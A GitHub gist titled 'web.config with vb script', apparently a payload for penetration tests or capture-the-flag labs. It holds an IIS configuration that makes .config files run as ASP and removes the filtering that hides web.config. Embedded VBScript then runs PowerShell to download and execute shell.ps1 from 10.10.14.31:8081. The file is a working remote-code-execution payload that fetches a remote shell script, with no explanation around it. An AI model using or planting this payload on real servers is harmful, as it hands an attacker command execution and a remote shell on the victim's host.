Skip to content

Instantly share code, notes, and snippets.

@ajdumanhug
Created June 8, 2020 00:29
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ajdumanhug/1e33d4d8139c0517372b0f38f8b270c7 to your computer and use it in GitHub Desktop.
Save ajdumanhug/1e33d4d8139c0517372b0f38f8b270c7 to your computer and use it in GitHub Desktop.
web.config with vb script
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<%@ Language=VBScript %>
<%
call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.31:8081/shell.ps1')")
%>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment